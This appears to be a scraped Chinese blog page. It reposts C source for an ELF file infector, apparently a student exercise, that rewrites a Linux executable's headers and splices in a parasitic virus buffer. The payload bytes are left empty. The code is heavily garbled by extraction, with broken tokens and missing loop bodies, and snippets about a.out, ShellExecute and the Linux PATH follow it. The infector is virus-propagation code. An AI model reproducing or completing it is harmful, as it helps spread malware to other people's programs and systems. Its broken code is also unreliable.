大部分病毒都是感染可執行檔案,可執行檔案的格式有多種,常用的coff與elf,elf主要在linux下,elf檔案的內容按一下的格式組織,只要你知道這個格式就能編寫程式將自己的**加到elf檔案中,下面轉貼一篇這方面的文章上。
/*
elf infector source file
student:
student id:
class:
*/
#
include
#include
#include
#include
#include
#include
#include
<
string
.h>
//define pagesize,default 4k byte
#define pagesize 4096
//parasite virus code.the code is copied from internet.
char virus=
;int infect(
char
*elffile)
;//the size of virus code
int virussize=
sizeof
(virus)
;
int jmppoint=/*jump point of binary code of virus*/;
//infector function
int infect(
char
*elffile)
else
if(pt_load =
= phdr.p_type &
& phdr.p_offset=
=0)}
lseek(filed,oldshoff,
seek_set);
//the loop of read and modify the section header
for(i=0;ielse
if(i!=0)
//write back
lseek(filed,oldshoff+i*
sizeof
(shdr)
,seek_set);
write
(filed,
&shdr,
sizeof
(shdr));
}//to get the file size filestat.st_size
struct stat filestat;
fstat(filed,
&filestat)
;char
*data=
null
;data=
(char*)
malloc
(filestat.st_size-oldphsize)
;lseek(filed,oldphsize,
seek_set);
read
(filed,data,filestat.st_size-oldphsize)
;//insert the virus code to the elf file
lseek(filed,oldphsize,
seek_set);
write
(filed,virus,
sizeof
(virus));
char tmp[pagesize]=;
//pad to pagesize
memset
(tmp,pagesize-virussize,0)
;write
(filed,tmp,pagesize-virussize)
;write
(filed,data,filestat.st_size-oldphsize)
;result=1;
free
(data)
;return result;
}//just for test
int main(
int argc,
char
**argv)
inttest
=infect(argv[1]);
if(test
!= 1)
return 0;
}
linux 執行可執行檔案
1 首先,需要了解一下a.out這個目標檔案。a.out在linux下是elf executable linkable format 檔案格式,該目標檔案由乙個檔案頭 段 資料段 已初始化 從定位資訊區 符號表及符號名字字串構成,如下左圖所示,經過鏈結後生成執行檔案如下右圖所示,需要說明的是1 bs...
API函式執行可執行檔案
shellexecute hwnd hwnd,父視窗控制代碼 lpcstr lpoperation,操作型別 lpcstr lpfile,要進行操作的檔案或路徑 lpcstr lpparameters,當lpoperation為 explore 時指定要傳遞的引數,通常設為null lpcstr l...
Linux下執行可執行檔案
我們通常會為計算機配置環境變數 path,echo path 檢視當前的環境變數包含的目錄。這些目錄下的可執行檔案就無需輸入完整路徑來執行,直接輸入命令就行,我們shell中常使用的一些linux命令,例如man,cat等的目錄都被包含在該path目錄中,所以直接在shell中輸入這些命令就可以。即...